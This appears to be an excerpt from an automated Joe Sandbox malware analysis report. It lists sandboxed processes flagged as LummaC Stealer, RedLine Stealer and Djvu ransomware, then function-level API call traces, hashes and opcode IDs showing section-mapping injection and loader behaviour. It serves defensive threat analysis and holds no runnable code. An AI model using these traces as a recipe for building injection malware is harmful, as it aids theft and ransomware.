Show Windows behavior

Target ID:	49
Start time:	16:06:17
Start date:	13/10/2023
Path:	C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe
Imagebase:	0xa60000
File size:	366'416 bytes
MD5 hash:	87D1A8D56CE3307AECE3B799A7B1A9F2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_LummaCStealer, Description: Yara detected LummaC Stealer, Source: 00000031.00000002.2951334522.0000000004178000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000031.00000002.2949652811.0000000002FD3000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000031.00000002.2949652811.0000000002FEA000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000031.00000002.2954823218.00000000056F0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000031.00000002.2949652811.0000000002E62000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000031.00000002.2949652811.0000000002FD6000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000031.00000002.2951334522.00000000040FC000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000031.00000002.2949652811.0000000002FF2000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 18%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	16:06:20
Start date:	13/10/2023
Path:	C:\Users\user\AppData\Local\977b3593-e014-49e4-a011-771ad84e5ef2\C06.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\977b3593-e014-49e4-a011-771ad84e5ef2\C06.exe" --AutoStart
Imagebase:	0x400000
File size:	767'488 bytes
MD5 hash:	C2AB34E22731EDA5D7BE4450C6D8360F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000032.00000002.2622843154.00000000021A4000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000032.00000002.2622961191.0000000002340000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000032.00000002.2622961191.0000000002340000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	6.3%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	40.8%
Total number of Nodes:	98
Total number of Limit Nodes:	4

Executed Functions

Function 00401590 Relevance: 10.7, APIs: 7, Instructions: 203
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401648
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401675
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401698
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016B6
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016F7
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401728
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 0040174A

Memory Dump Source

Source File: 00000000.00000002.1746002543.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 569c601533bfa5fc76acd0aceccd82dced2ec0ba9158162e35254d0d933d7b6e
Instruction ID: d6964195f2ae178c179c3b7a32e304a619fe45f2cb2dcf097c8130f3d204b23e
Opcode Fuzzy Hash: 569c601533bfa5fc76acd0aceccd82dced2ec0ba9158162e35254d0d933d7b6e
Instruction Fuzzy Hash: 64616FB0904205FFEB208F91CC58FAF7BB8EF81710F10416AFA12BA1E5D6749941DB65

Uniqueness

Uniqueness Score: -1.00%

Function 0040159B Relevance: 10.7, APIs: 7, Instructions: 173
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401648
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401675
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401698
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016B6
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016F7
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401728
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 0040174A

Memory Dump Source

Source File: 00000000.00000002.1746002543.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: bae20a228bd41bc7813985564ad54ad8a6399e0ad18c72377fec9941621639a0
Instruction ID: ff81ed2e81490e93a7bfe721f9c6a4d9304ec08e35c355afa89281eda0ffd623
Opcode Fuzzy Hash: bae20a228bd41bc7813985564ad54ad8a6399e0ad18c72377fec9941621639a0
Instruction Fuzzy Hash: 3E5109B5900249BFEB208F91CC49FAB7BB8FF85710F144169FA11BA2E5D6749941CB24

Uniqueness

Uniqueness Score: -1.00%

Function 004015B0 Relevance: 10.7, APIs: 7, Instructions: 169
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401648
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401675
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401698
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016B6
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016F7
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401728
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 0040174A

Memory Dump Source

Source File: 00000000.00000002.1746002543.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 6c4736dca5741fb18473fdef31891e556f9b158cac04651ef2a3a7cb79a50736
Instruction ID: af686ae4933c2f6004de28669cc23aaadd0110c3f88d1b974755b8c34b4799b2
Opcode Fuzzy Hash: 6c4736dca5741fb18473fdef31891e556f9b158cac04651ef2a3a7cb79a50736
Instruction Fuzzy Hash: 0E51F9B5900249BFEB208F91CC48FAF7BB8FF85B10F104169FA11BA2E5D6749941CB24

Uniqueness

Uniqueness Score: -1.00%

Function 004015BC Relevance: 10.7, APIs: 7, Instructions: 168
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401648
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401675
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401698
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016B6
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016F7
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401728
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 0040174A

Memory Dump Source

Source File: 00000000.00000002.1746002543.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 72661907227a9452eb25ab953c02bdcf5a827517e06e297a0d085dc110f4c5bf
Instruction ID: 765dedf92b6036aea99e2596c7c6646b0bcbba97602321f23575c560d9e65fb8
Opcode Fuzzy Hash: 72661907227a9452eb25ab953c02bdcf5a827517e06e297a0d085dc110f4c5bf
Instruction Fuzzy Hash: 1451E8B5900249BFEF208F91CC48FDF7BB8FF85B10F104169FA11AA2A5D6749945CB64

Uniqueness

Uniqueness Score: -1.00%

Function 004015CB Relevance: 10.7, APIs: 7, Instructions: 164
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401648
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401675
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401698
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016B6
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016F7
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401728
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 0040174A

Memory Dump Source

Source File: 00000000.00000002.1746002543.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 004f83838c091370c792dd4fcb680897e20f1790ca1ffba750393c7614aa26f8
Instruction ID: 60f1a669064b898f2f8cfe764b4cdaf5e199705ebcb5ef48edc51869d28594cd
Opcode Fuzzy Hash: 004f83838c091370c792dd4fcb680897e20f1790ca1ffba750393c7614aa26f8
Instruction Fuzzy Hash: 2C51FAB1900249BFEF208F91CC48F9FBBB8FF85B10F104169FA11AA2A5D7749941CB24

Uniqueness

Uniqueness Score: -1.00%

Function 008B100E Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 008B1036
Module32First.KERNEL32(00000000,00000224), ref: 008B1056

Memory Dump Source

Source File: 00000000.00000002.1746361183.00000000008AA000.00000040.00000020.00020000.00000000.sdmp, Offset: 008AA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8aa000_file.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: c346c643bdac847ab8fd8b135c475b05fdf1d0c333be7e2f5df4e1f9492d9b51
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 50F068312007156BDB203AB59C9DBEE76E8FF59724F500528E642D51C0D774EC464A51

Uniqueness

Uniqueness Score: -1.00%

Function 004029BA Relevance: 1.6, APIs: 1, Instructions: 60
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00402A18

Memory Dump Source

Source File: 00000000.00000002.1746002543.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 8b4368bb53e1649655da800b8e3771367f61da053ffbe47dde7c34dc5595736a
Instruction ID: ddfd821467dba8d9e3be05996510f596060048204c77d2b9bdf6330f9e046059
Opcode Fuzzy Hash: 8b4368bb53e1649655da800b8e3771367f61da053ffbe47dde7c34dc5595736a
Instruction Fuzzy Hash: 5C11E571708104E7D6209A449B4EF6B3724AB50B00F308077E5077A1C0D9FD9A07BBAF

Uniqueness

Uniqueness Score: -1.00%

Function 006B003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 006B024D

Strings

kernel32.dll, xrefs: 006B008F, 006B0095
cess, xrefs: 006B018D

Memory Dump Source

Source File: 00000000.00000002.1746162536.00000000006B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 006B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b0000_file.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: 1cbfe1bad8ad953d37be5dc3ae992457c84081cda89f7c9b413a08e1e8265b97
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 275279B5A00229DFDB64CF58C984BA9BBB1BF09304F1480E9E50DAB351DB30AE85DF14

Uniqueness

Uniqueness Score: -1.00%

Function 006B0E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,006B0223,?,?), ref: 006B0E19
SetErrorMode.KERNELBASE(00000000,?,?,006B0223,?,?), ref: 006B0E1E

Memory Dump Source

Source File: 00000000.00000002.1746162536.00000000006B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 006B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b0000_file.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 5ec0122905795958cf8b6ea84eb92189ad46b0a0d2fb6fa6a8bc84ef3f06bca4
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 19D0123114512877D7002A94DC09BCE7F1CDF05B62F008411FB0DD9180C770994147E5

Uniqueness

Uniqueness Score: -1.00%

Function 004029C5 Relevance: 1.6, APIs: 1, Instructions: 55
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00402A18

Memory Dump Source

Source File: 00000000.00000002.1746002543.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 630f67e63f4c9d6cadc1f4ef28869250e9dd95ac73f78134dda1cef590dfe083
Instruction ID: eda82e36109819710fc28ef01b941f30aa1b457bd77d6c907d6690057fca41fa
Opcode Fuzzy Hash: 630f67e63f4c9d6cadc1f4ef28869250e9dd95ac73f78134dda1cef590dfe083
Instruction Fuzzy Hash: 3C01C471708205E7DA60DA949A4EB6B7710AB51B10F308077E5037A1C4DAFD9A07FB6B

Uniqueness

Uniqueness Score: -1.00%

Function 004029D1 Relevance: 1.6, APIs: 1, Instructions: 54
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00402A18

Memory Dump Source

Source File: 00000000.00000002.1746002543.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 8aebd7c2dfb35844096bdf04bcf18f9291abc38b44631a4f8f553a04b448b611
Instruction ID: 27f311fed6bd4bb195386d6e886048742e5b6b48a655c0a394e70793ed6bf28f
Opcode Fuzzy Hash: 8aebd7c2dfb35844096bdf04bcf18f9291abc38b44631a4f8f553a04b448b611
Instruction Fuzzy Hash: E0018071708105E7DA609A449B4EB6B7324BB50B10F308477E5077A1C4DAFD9A07BB6F

Uniqueness

Uniqueness Score: -1.00%

Function 004029D5 Relevance: 1.6, APIs: 1, Instructions: 51
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00402A18

Memory Dump Source

Source File: 00000000.00000002.1746002543.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 14f9d75437b26c4e33ab762a249f6d4a6897a4cf10a17b4738070ea496484bd2
Instruction ID: 6c082c2f6db60d75b034223dafbed04b71575a1e0537fab93527f59567f6cb96
Opcode Fuzzy Hash: 14f9d75437b26c4e33ab762a249f6d4a6897a4cf10a17b4738070ea496484bd2
Instruction Fuzzy Hash: DB01B531708105E7DB60DA409A4DF5F7720BB50B10F208577E5077A1C4DAF99A17EB9B

Uniqueness

Uniqueness Score: -1.00%

Function 004029E2 Relevance: 1.5, APIs: 1, Instructions: 47
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00402A18

Memory Dump Source

Source File: 00000000.00000002.1746002543.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: b2d371f82e3e545a267ab12f2e2f0a58ec4b54f775fd64736b106f9591d7a7c3
Instruction ID: daf8977218c418413866257df5c9087131837fd98e0c4230724de407841e0162
Opcode Fuzzy Hash: b2d371f82e3e545a267ab12f2e2f0a58ec4b54f775fd64736b106f9591d7a7c3
Instruction Fuzzy Hash: 3801DF31708104E7DB209A848A4DB5E7320AB40B10F208577E507BA1C0DAF9AA07AFAB

Uniqueness

Uniqueness Score: -1.00%

Function 004029E9 Relevance: 1.5, APIs: 1, Instructions: 47
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00402A18

Memory Dump Source

Source File: 00000000.00000002.1746002543.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 9850a57f899f03cbeedeed8d531e786c982b6ed5f0a372be87f463e87495e5bd
Instruction ID: 5524fd7572365f35614fa46947343296b9db081daee3b4d0816b59f029c0b045
Opcode Fuzzy Hash: 9850a57f899f03cbeedeed8d531e786c982b6ed5f0a372be87f463e87495e5bd
Instruction Fuzzy Hash: 2101A731704104E7D7209A448A4EB5E7720AB40704F208477E5067A1C4DAB9EA07AB6B

Uniqueness

Uniqueness Score: -1.00%

Function 004029F9 Relevance: 1.5, APIs: 1, Instructions: 45
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00402A18

Memory Dump Source

Source File: 00000000.00000002.1746002543.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 83fdb88ab79b739a001a2e8c05ea2e4136fbf27434a3016a2f3de2c8c28590ed
Instruction ID: 2a527b723104a8d4642483acce18f9de5ed6d5a74c4e47f32731208c7d716ef4
Opcode Fuzzy Hash: 83fdb88ab79b739a001a2e8c05ea2e4136fbf27434a3016a2f3de2c8c28590ed
Instruction Fuzzy Hash: 1801A231708104E7DB209A849A4DF9F7720AB40B14F208477E5027A1C0DAF9AA07AFAB

Uniqueness

Uniqueness Score: -1.00%

Function 00401969 Relevance: 1.3, APIs: 1, Instructions: 62sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004019B4

Part of subcall function 00401590: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401648
Part of subcall function 00401590: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401675
Part of subcall function 00401590: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401698

Memory Dump Source

Source File: 00000000.00000002.1746002543.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: b8285f967374eae4a3c51efe3ce59b098afe428af0dcb557450618fb68c9c18d
Instruction ID: 1276e484f00ba66cbffb4616bb4d5d076efec51046982770477825c9afbd6400
Opcode Fuzzy Hash: b8285f967374eae4a3c51efe3ce59b098afe428af0dcb557450618fb68c9c18d
Instruction Fuzzy Hash: 0F01D2B6708205FADB005A949C62EBB3618AB41755F300637BA13B80F1C57D8513FA6F

Uniqueness

Uniqueness Score: -1.00%

Function 00401975 Relevance: 1.3, APIs: 1, Instructions: 55sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004019B4

Part of subcall function 00401590: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401648
Part of subcall function 00401590: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401675
Part of subcall function 00401590: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401698

Memory Dump Source

Source File: 00000000.00000002.1746002543.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 9a4c6db62cce5b151e284cc19e63a433146ff3755d8681b35f1a2b6972971a8e
Instruction ID: 0230620869f43b82b90ed4dddf49477c9f5c6c73dade890abd4ec4b7d4a8195a
Opcode Fuzzy Hash: 9a4c6db62cce5b151e284cc19e63a433146ff3755d8681b35f1a2b6972971a8e
Instruction Fuzzy Hash: 4801BCB6308205FADB005A949C62FBA3219AB84751F30053BB613BC0F1C53D8513FA2F

Uniqueness

Uniqueness Score: -1.00%

Function 0040197F Relevance: 1.3, APIs: 1, Instructions: 54sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004019B4

Part of subcall function 00401590: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401648
Part of subcall function 00401590: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401675
Part of subcall function 00401590: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401698

Memory Dump Source

Source File: 00000000.00000002.1746002543.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 25088a1f844088f741a859eeb607afc94706ffd20a91742bc3d9f24c23efa0b5
Instruction ID: 9a4b4ffd5ca22a672d673467c452b15ea5c40039b4ea8ded510267d200494456
Opcode Fuzzy Hash: 25088a1f844088f741a859eeb607afc94706ffd20a91742bc3d9f24c23efa0b5
Instruction Fuzzy Hash: 3A01B1B6308205FADB115A949C61A7A3319AB45711F30053BB613B80F2C53D8512FA1F

Uniqueness

Uniqueness Score: -1.00%

Function 00401986 Relevance: 1.3, APIs: 1, Instructions: 53sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004019B4

Part of subcall function 00401590: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401648
Part of subcall function 00401590: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401675
Part of subcall function 00401590: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401698

Memory Dump Source

Source File: 00000000.00000002.1746002543.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: f146987f8c0bf49c3ef7592727f3e0a51ae856d021a330616d03f7304a9c3b71
Instruction ID: 5a2bb716a64f0a1f1a6e426f0b200f3e6862a670896c4db1e76ea4af0659c5ba
Opcode Fuzzy Hash: f146987f8c0bf49c3ef7592727f3e0a51ae856d021a330616d03f7304a9c3b71
Instruction Fuzzy Hash: 3101DFB2308205FADB005AD49C62F7A3219AB85715F30453BB623B80F1C63D8512FB2F

Uniqueness

Uniqueness Score: -1.00%

Function 008B0CCD Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 008B0D1E

Memory Dump Source

Source File: 00000000.00000002.1746361183.00000000008AA000.00000040.00000020.00020000.00000000.sdmp, Offset: 008AA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8aa000_file.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: dddb8957388a42a3a9002fe05d273fc58b763081f08749e96dfd9be1728448c0
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: D6112B79A00208EFDB01DF98C985E99BBF5EF08351F098094F9489B362D771EA90DF80

Uniqueness

Uniqueness Score: -1.00%

Function 004019A2 Relevance: 1.3, APIs: 1, Instructions: 47sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004019B4

Part of subcall function 00401590: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401648
Part of subcall function 00401590: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401675
Part of subcall function 00401590: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401698

Memory Dump Source

Source File: 00000000.00000002.1746002543.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: a8f77c5b0aafc3a83b6e9a89fc0125d54fce9978fbcf9d902b8238b221feffd7
Instruction ID: 689da8ed0bf63c85a60a16fbbe407e4b0918199af58fa2149c0a58fdfe32668e
